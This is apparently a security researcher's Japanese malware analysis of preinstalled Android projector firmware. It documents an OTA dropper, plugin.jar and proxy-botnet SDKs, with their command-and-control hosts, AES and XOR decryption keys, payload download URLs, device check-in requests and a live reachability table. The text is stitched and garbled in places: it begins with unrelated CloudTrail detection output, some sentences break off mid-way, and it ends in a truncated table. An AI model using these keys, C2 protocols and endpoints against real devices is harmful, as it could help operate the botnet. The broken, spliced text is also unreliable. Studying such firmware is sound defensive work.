table(デフォルト)— 人間が読める形式のテーブルjson — 機械可読な JSONmarkdown — Markdown テーブルpython3 main.py --detect --format json
{
"critical": [
{
"eventName": "DeleteTrail",
"eventTime": "2024-01-15T10:30:00Z",
"userIdentity": {
"arn": "arn:aws:iam::123456789012:user/alice"
}
}
],
"high": [],
"medium": [],
"low": []
}
``````json
date 20240819
description "1、优化网络访问\n2、增强系统稳定性。"
appInfos
0
appVersionCode 425
appName "uninstall"
appPkgName "com.netflix.ninja"
appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018"
appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk"
1
appVersionCode 84
appName "launcher10"
appPkgName "com.ashd.launcher10"
appMd5 "3AA639AE6850189EB8EB4B288AFAD70A"
appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk"
2
appVersionCode 3
appName "platinum"
appPkgName "com.allwinnertech.platinum.media"
appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0"
appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"
40個のプロファイルURLの完全なリスト それぞれはおそらく同じキャンペーン下の被害デバイスファミリーです:``` infos.json TEST/infos.json infos_qp.json infos_lm.json infos_wy.json infos_wy_fj600.json infos_set.json infos_ydd3128.json WANYING_test/infos.json YBS_ASOS/infos.json YDN2_YIUI_RX480P/infos.json YINGKE_CC720P/infos_0208.json YINGKE_CC720P/infos_ZG_0315.json YINGKE_CC720P/infos_0313.json YINGKE_CC720P/infos_0504.json SAIER_RK3326_DV381_YIUI/infos.json SAIER_RK3326_DV381_YIUI_C1PRO/infos.json rk3326_ASHD/Q3/infos.json H713/N1/infos.json rk3326/HY300A/infos.json rk3326/Saier_zhixiang_0326/infos.json YKK_3326_YIUI/infos.json rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json H713_ASHD/H713_GBPT_HY300A_720P/infos.json H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json H713_ASHD/H713M_HY300A_VIEW_0304/infos.json H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json H713_ASHD/H713_SKW/infos.json H713_ASHD/H713_NEFHELP/infos.json H713_ASHD/DSN/infos.json rk3326_ASHD/DSN/infos.json rk3326_ASHD/RK3326_AD/infos_ad_asos.json H713_ASHD/H713_HY300_HIFI/infos.json H713_ASHD/H713M_HY300_A/infos_F8.json H713_ASHD/H713M_TENPLUS_0625/infos.json H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json Hisi352_ASHD/TS-6/infos_0730.json H723_ASHD/H723_T1Pro/infos_0618.json
各 `infos*.json` は `pm install -r` するアプリ(ペイロード `com.google.adtest` と Disney+ などのカバーアプリ)を列挙しており、3. で扱ったとおりです。
### 9.3 plugin.jar
**C2 ホスト暗号化**
`com.hs.p.basic.Hosts`/`EncryptUtils`
各ホスト文字列は `AES/CFB/NoPadding`(キー `MD5("ota.host.a46780a24111f056d95f955462606901")`、IV `"0102030405060708"`)で、gzip 圧縮後、base64 エンコードされます:
- `API_MASTER_HOSTS`: `https://api.loritor.cc/`
- `TRACKER_SLAVE_HOSTS`: `https://api.loritor.cc/`
- `API_SLAVE_HOSTS`: `https://api.nizero.cc/`
- `TRACKER_MASTER_HOSTS`: `https://api.nizero.cc/`(API チャネルと優先度が入れ替わっている?)
このテスト時点では、loritor.cc と nizero.cc の両方ともダウンしているようでした。
**タスク/設定 API パス**
`GetTaskApi`、`GetConfigApi`
`POST <host>/0x01/ov/x1`(設定:サイレントウィンドウ、ログトグル、ホストリストプッシュ、ポーリング間隔)および `POST <host>/0x01/ov/x2`(タスクリスト:カーソルページネーションされた `jars[]`/`dexs[]`/`apks[]`、それぞれに `file_url`/`file_md5`/`vercode`/`task_id` を含む)。レスポンスボディの `"data"` フィールドも同様に暗号化されており、キーは `"ota.api.d3b194c07b63d688969c258719ca3f0f"` です。
**`.rf` モジュール形式**
有効な DSA 署名を持つ 4 つのモジュールをすべて復号すると:
`[4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig]`。
AES キー = `MD5("968a84be78d3421d5e771147dce2b766" + salt)`、IV は上記と同じ固定値です。
DSA 公開鍵はハードコードされており(1024 ビット、`DexManager`/`JarExe` に埋め込み)、平文は生の dex ではなく ZIP/APK です。```
SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"}
SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"}
SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"}
SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}
SKN0041
エントリ MainApi.start_W0017 はクライアント Robin を起動します。2つのプレーンな HTTP(S) エンドポイントがあり、channel/version はこのモジュールを呼び出した側から供給されます:```
GET https://api.kookjar.com/signin?uuid=&channel=&version=
POST https://api.kookjar.com/report?uuid=&channel=&version= body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]} # reports back which proxy gateways it reached
### 9.5 com.szns.sdk
`SKN0054`
ここにあるドメイン/IP文字列は難読化されています: `Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip` クラス `com.szns.sdk.t` 内。
正確なアルゴリズム(`analysis/tools/decode_szns_t.py`)を再現し、ハードコードされた4つのブートストラップエンドポイントをすべて復号しました:```
ac.a()
-> https://hgsdkszns.com
ac.b()
-> http://dporder.midrouterx.com/api/dispatch
(state 1: fetch "domain_info", cached 24h)
ac.c()
-> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico
(state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss")
ac.d()
-> 43.173.127.241:9090
(state 5: "ip_tcp_info" bootstrap)
キャッシュされたディスパッチURLがない場合(状態7):
43.153.12.1 - 43.153.80.100:8080 のUDPスイープ
リテラルASCIIペイロード "moon2" を送信し、http で始まる応答を待機する。この応答がディスパッチURLとなる。
各ブートストラップリクエストは POST <url> で、フォームフィールド {"operator":<c>,"c":"moon2","name":<d>} を com.szns.sdk.x 内で送信する。
解決されたディスパッチURLに対して同じフィールドがPOSTされ、実際のゲートウェイリストが AES/CBC/PKCS5(キー "5360e2884c119aa32a767ceb1c0889b0"、ランダムIV、エンベロープ base64(iv):base64(ciphertext))で暗号化されて返される。
復号されたJSON形式: {"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}。
SKN0058
単一のハードコードされたゲートウェイ、ディスカバリ層なし: com.link.core.a.g → ["api.eviceh.cc:16000"]。自身のルックアップに使用されるDNSリゾルバ: 8.8.8.8、9.9.9.9、1.1.1.1、1.0.0.1。デバイスフィンガープリンティングのために /proc/cpuinfo と /sys/class/net/{eth0,wlan0}/address を読み取る。
SKN0061
ハードコードされたゲートウェイプール、ddth2.hidden.o: ドメイン dw4y.mmavlino.com、zx8c.llvyomi.net、zxn5.p2f7mjhv.eu.cc、IP 45.43.57.99、165.154.135.52。
永続的なカスタムバイナリTCPプロトコル:
REGISTER/REGISTER_ACK ハンドシェイク(8バイトのフレームヘッダ、opcode+length){host, port})をプッシュするまたは com.fotas.wanapp ("com.speed")
実際の内部パッケージ名は com.fotas.wanapp(Appクラス com.fotas.wanapp.APP)。onCreate() は plugin.jar と同じマスター/スレーブ/ランダムパターンで3つのホストを設定する:```
master -> https://api.pechlo.cc/
slave -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/
デバイスのチェックインは `POST https://codedevapp.com/api/v1/device/dau` を通じて行われます。
2つのサービスが起動されます:
- `com.google.android.AdService`
- `com.google.android.BakService`
存在する場合、オプションの `com.fotas.wanapp.ChannelSdkInit` クラスをリフレクションで探索して初期化します。アプリID文字列:`"wanapp"`、`"WAN_AISHANG_001"`。
### 9.9. ライブステータススナップショット (2026-09-26)
独立したホストからの読み取り専用の到達性チェック(プロキシプロトコル/ペイロードは送信せず、プロジェクター自体との対話もなし):
| ホスト | DNS / 接続結果 | 備考 |
| --------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| `api.loritor.cc`, `api.nizero.cc` | 解決成功 (Cloudflare)、`/` で HTTP 404 | 稼働中;実際のパスは `/0x01/ov/x1`、`/0x01/ov/x2` |
| `api.kookjar.com` | 解決成功 (Cloudflare, 172.67.159.65)、HTTP 204 | 稼働中 |
| `152.32.240.141` (SKN0041 デバッグフォールバック) | TCP/80 タイムアウト | 到達不可;いずれにせよデバッグ専用パスで、本番は `api.kookjar.com` を使用 |
| `dporder.midrouterx.com` | 直接解決 (43.174.196.241, Tencent Cloud)、`/api/dispatch` で HTTP 200 | **稼働中** |
| `seed-info.oss-ap-southeast-1.aliyuncs.com` | 解決成功 (47.79.49.170, Alibaba Cloud SG)、HTTP 200、`favorite.ico` を配信 | **稼働中** |
| `hgsdkszns.com` | 解決成功 (Cloudflare) | DNS は稼働中;プレーン HTTPS プローブはリセット (現在のビルドでは未使用分岐、10.5 参照) |
| `43.173.127.241:9090` | **生の TCP 接続が成功** | **稼働中、現在リッスン中** |
| `api.eviceh.cc:16000` | 解決成功 (152.53.83.204) | DNS は稼働中、チェック時点で TCP/16000 は拒否 (ゲートウェイは現在リッスンしていない) |
| `dw4y.mmavlino.com` / `zx8c.llvyomi.net` / `zxn5.p2f7mjhv.eu.cc` / `45.43.57.99` / `165.154.135.52` | 今回のチェックでは再確認せず | セクション11参照 |
| `api.pechlo.cc`, `api.logobi.cc` | 解決成功 (Cloudflare)、`/` で HTTP 404 | 稼働中 |
| `random.vivosoc.cc` | **DNS レコードなし** | 停止/期限切れの模様 |
| `codedevapp.com` | 解決成功 (5.161.41.216, Hetzner) | 稼働中;`/api/v1/device/dau` は POST 専用のため、単純な GET は中断される |
## 10. URL
| ホスト / URL | コンポーネント | 役割 |
| --------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| `ishanghd.com`, `ty.ishanghd.com`, `isdownload.ishanghd.com`, `wjtysj.ishanghd.com` | sysapp, yiyou | ルート OEM バックエンドドメイン |
| `wjtysj.ishanghd.com/hx_kt.php` | sysapp (AshdSysApp) | OTA アップデータ C2 (`act=project&do=getPackageInfo`) |
| `ty.ishanghd.com/work/app/wj/factory/update.json` | yiyou | ドロッパー自己更新ポインタ |
| `ty.ishanghd.com/work/app/wj/appsinfo/*` (40 パス、上記参照) | yiyou | デバイスファミリーごとのペイロード/アプリリスト (`pm install -r` ターゲット) |
| `isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` | yiyou | `plugin.jar` 取得ポインタ |
| `isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jar` | yiyou | 実際の `plugin.jar` ペイロード (バージョン付きパス、時間とともに変化) |
| `isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zip` | plugin.jar | Widevine L3 DRM キー/ライセンスバンドル、未認証デバイスでストリーミングアプリを動作させるためにドロップされる |
| `api.loritor.cc`, `api.nizero.cc` | plugin.jar ("hs") | タスク/設定 API (`/0x01/ov/x1`, `/0x01/ov/x2`)、API チャネル (マスター/スレーブ) およびトラッカーチャネル (スレーブ/マスター入れ替え) の両方として |
| `api.kookjar.com` (+ `152.32.240.141` デバッグ) | SKN0041 | `/signin`, `/report` |
| `api.eviceh.cc:16000` | SKN0058 | 唯一のゲートウェイ |
| `hgsdkszns.com` | SKN0054 | 追加のハードコードされたブートストラップホスト (現在のビルドでは未使用分岐) |
| `dporder.midrouterx.com/api/dispatch` (+ `/api/dispatchByOss`、下記の OSS ブートストラップ経由で到達) | SKN0054 | プライマリディスパッチブートストラップ |
| `seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico` | SKN0054 | OSS ホスト型ブートストラップリダイレクタ (Alibaba Cloud OSS) |
| `seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.ico` | SKN0054 | 同じブートストラップ設定の Tencent COS バックアップミラー |
| `43.173.127.241:9090` | SKN0054 | `ip_tcp_info` ブートストラップホスト (正確なポート確認済み、稼働中) |
| `43.135.136.224` | SKN0054 | 稼働中に観測されたディスパッチゲートウェイ (tcp/7788 `/api/dispatch`, tcp/9090) |
| `43.159.148.198` | SKN0054 | 稼働中に観測されたゲートウェイ/サーバーリストエンドポイント、`/dp/getServer` (おそらく暗号化された `node[]` リスト内で動的に返された) |
| `43.130.60.175` | SKN0054 | 追加のプロキシゲートウェイノード (tcp/9090)、稼働中に観測 |
| `43.153.12.1`–`43.153.80.100:8080` (UDP) | SKN0054 | ディスカバリスイープ;プローブペイロードはリテラル ASCII `moon2` |
| `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, `45.43.57.99`, `165.154.135.52` | SKN0061 | ゲートウェイプール、カスタム TCP プロキシプロトコル |
| `api.pechlo.cc`, `api.logobi.cc`, `random.vivosoc.cc` | com.speed / com.fotas.wanapp | マスター/スレーブ/ランダム C2 |
| `codedevapp.com/api/v1/device/dau` | com.speed / com.fotas.wanapp | デバイスチェックイン |
| `live.sz-cloudmedia.com:8080/ota/` | レガシー OTA (古い/兄弟 sysapp バリアント) | 行き止まり、このドメインには ICP 登録がなく、Alibaba がブロックしている。 |
| `ulogs.umeng.com`, `ulogs.umengcloud.com`, `alogus.umeng.com`, `alogsus.umeng.com`, `ouplog.umeng.com`, `plbslog.umeng.com` | yiyou (Umeng SDK) | サードパーティ分析テレメトリ、yiyou アプリが収集するデバイスフィンガープリント (シリアル、MAC、SSID/BSSID) を伝送 |
| `hmma.baidu.com`, `datax.baidu.com`, `dxp.baidu.com`, `openrcv.baidu.com` | yiyou (Baidu Mobile Stats SDK) | 同じテレメトリの役割、Baidu 経由 |
| `cmnsguider.yunos.com`, `ip.taobao.com`, `g3.le.com` | yiyou | フィンガープリンティングに使用される Alibaba/Yunos デバイストークンおよびパブリック IP 検索サービス |
## 11. その他
開発者オプション:
1. `Deviceversion.onKeyDown` (設定の「デバイス情報」画面) はコナミスタイルのコード、上上下下左左右右中中を監視し、開発者オプションを開こうとします。私の場合、これは機能しませんでした。
2. 上下左右中は `com.konka.readmain.MainActivity` を起動しようとします。これは無関係な OEM 工場テストアプリで、実際にはこのユニットにインストールされていません。同様に、機能しませんでした。```
adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion
adb shell input keyevent 19
adb shell input keyevent 19
adb shell input keyevent 20
adb shell input keyevent 20
adb shell input keyevent 21
adb shell input keyevent 21
adb shell input keyevent 22
adb shell input keyevent 22
adb shell input keyevent 23
adb shell input keyevent 23
| 用語 | 機能 | LAN |
|---|
NetworkInterface (adtest, plugin, SKN0061) | ボットID用にデバイス自身のIPとMACを読み取る | いいえ |
SKN0041 の DatagramSocket | ゲートウェイへのプロキシセッション用UDPリレー | いいえ |
SKN0054 の DatagramSocket | C2ディスカバリ: 43.153.12-80.1-100:8080 (パブリッククラウドレンジ) をスイープ | いいえ |
plugin.jar の ServerSocket | 動画再ストリーミングサーバー、下記参照 | いいえ |
Runtime.exec のヒット (yiyou, plugin.jar, adtest, SKN0041/54/58/61) | サードパーティSDK内部、ローカルファイルへの chmod 777、フォアグラウンドアプリまたはrootチェック用の su/pm/dumpsys、およびSKN0041でのオペレーター発行の ping | pingコマンドのみ |
| UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/サブネット計算, ADB 5555, telnet | なし | いいえ |
systemmixservice / libsystemmixservice.so / libsystemmix_jni.so | Binder専用OEMサービス: プロパティの取得/設定、生ファイルの読み取り/書き込み/削除、マウント/アンマウント、ブートロゴ/アニメーション。どちらのバイナリにも socket/bind/connect/listen/accept シンボルなし | いいえ |
qw | スーパーユーザー/ClockworkMod suデーモン。文字列内にはUnixドメインソケットパスのみ (/dev/com.koushikdutta.superuser[.daemon])、IPリテラルなし、AF_INET なし | いいえ |
com.android.nfx (NFXAccessibility) | Netflix D-padナビゲーションヘルパー、com.netflix.mediaclient がフォアグラウンドにある間のみアクティブ。マニフェストには INTERNET パーミッションが全くない | いいえ |
| // SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only | ||
| str.equals("0.0.0.0") | str.matches("^10\..*") |